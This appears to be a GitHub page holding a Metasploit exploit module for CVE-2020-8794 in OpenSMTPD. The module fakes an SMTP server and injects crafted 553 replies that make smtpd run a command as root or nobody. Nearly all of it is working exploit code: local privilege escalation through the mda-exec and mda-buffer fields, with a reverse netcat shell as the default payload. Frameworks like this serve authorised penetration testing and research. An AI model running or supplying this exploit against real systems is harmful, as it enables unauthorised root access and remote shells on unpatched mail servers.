-
Notifications
You must be signed in to change notification settings - Fork 13.9k
/
opensmtpd_oob_read_lpe.rb
183 lines (154 loc) · 5.01 KB
/
opensmtpd_oob_read_lpe.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
# smtpd(8) may crash on a malformed message
Rank = AverageRanking
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::TcpServer
include Msf::Exploit::Remote::Expect
def initialize(info = {})
super(
update_info(
info,
'Name' => 'OpenSMTPD OOB Read Local Privilege Escalation',
'Description' => %q{
This module exploits an out-of-bounds read of an attacker-controlled
string in OpenSMTPD's MTA implementation to execute a command as the
root or nobody user, depending on the kind of grammar OpenSMTPD uses.
},
'Author' => [
'Qualys', # Discovery and PoC
'wvu' # Module
],
'References' => [
['CVE', '2020-8794'],
['URL', 'https://seclists.org/oss-sec/2020/q1/96']
],
'DisclosureDate' => '2020-02-24',
'License' => MSF_LICENSE,
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true, # NOTE: Only when exploiting new grammar
# Patched in 6.6.4: https://www.opensmtpd.org/security.html
# New grammar introduced in 6.4.0: https://github.com/openbsd/src/commit/e396a728fd79383b972631720cddc8e987806546
'Targets' => [
[
'OpenSMTPD < 6.6.4 (automatic grammar selection)',
{
patched_version: Rex::Version.new('6.6.4'),
new_grammar_version: Rex::Version.new('6.4.0')
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SRVPORT' => 25,
'PAYLOAD' => 'cmd/unix/reverse_netcat',
'WfsDelay' => 60 # May take a little while for mail to process
},
'Notes' => {
'Stability' => [CRASH_SERVICE_DOWN],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_advanced_options([
OptFloat.new('ExpectTimeout', [true, 'Timeout for Expect', 3.5])
])
# HACK: We need to run check in order to determine a grammar to use
options.remove_option('AutoCheck')
end
def srvhost_addr
Rex::Socket.source_address(session.session_host)
end
def rcpt_to
"#{rand_text_alpha_lower(8..42)}@[#{srvhost_addr}]"
end
def check
smtpd_help = cmd_exec('smtpd -h')
if smtpd_help.empty?
return CheckCode::Unknown('smtpd(8) help could not be displayed.')
end
version = smtpd_help.scan(/^version: OpenSMTPD ([\d.p]+)$/).flatten.first
unless version
return CheckCode::Unknown('OpenSMTPD version could not be found.')
end
version = Rex::Version.new(version)
if version < target[:patched_version]
if version >= target[:new_grammar_version]
vprint_status("OpenSMTPD #{version} is using new grammar")
@grammar = :new
else
vprint_status("OpenSMTPD #{version} is using old grammar")
@grammar = :old
end
return CheckCode::Appears(
"OpenSMTPD #{version} appears vulnerable to CVE-2020-8794."
)
end
CheckCode::Safe("OpenSMTPD #{version} is NOT vulnerable to CVE-2020-8794.")
end
def exploit
start_service
sendmail = "/usr/sbin/sendmail '#{rcpt_to}' < /dev/null && echo true"
print_status("Executing local sendmail(8) command: #{sendmail}")
if cmd_exec(sendmail) != 'true'
fail_with(Failure::Unknown, 'Could not send mail. Is OpenSMTPD running?')
end
end
def on_client_connect(client)
print_status("Client #{client.peerhost}:#{client.peerport} connected")
# Brilliant work, Qualys!
case @grammar
when :new
print_status('Exploiting new OpenSMTPD grammar for a root shell')
yeet = <<~EOF
553-
553
dispatcher: local_mail
type: mda
mda-user: root
mda-exec: #{payload.encoded}; exit 0\x00
EOF
when :old
print_status('Exploiting old OpenSMTPD grammar for a nobody shell')
yeet = <<~EOF
553-
553
type: mda
mda-method: mda
mda-usertable: <getpwnam>
mda-user: nobody
mda-buffer: #{payload.encoded}; exit 0\x00
EOF
else
fail_with(Failure::BadConfig, 'Could not determine OpenSMTPD grammar')
end
sploit = {
'220' => /EHLO /,
'250' => /MAIL FROM:<[^>]/,
yeet => nil
}
print_status('Faking SMTP server and sending exploit')
sploit.each do |line, pattern|
send_expect(
line,
pattern,
sock: client,
newline: "\r\n",
timeout: datastore['ExpectTimeout']
)
end
rescue Timeout::Error => e
fail_with(Failure::TimeoutExpired, e.message)
ensure
print_status("Disconnecting client #{client.peerhost}:#{client.peerport}")
client.close
end
def on_client_close(client)
print_status("Client #{client.peerhost}:#{client.peerport} disconnected")
end
end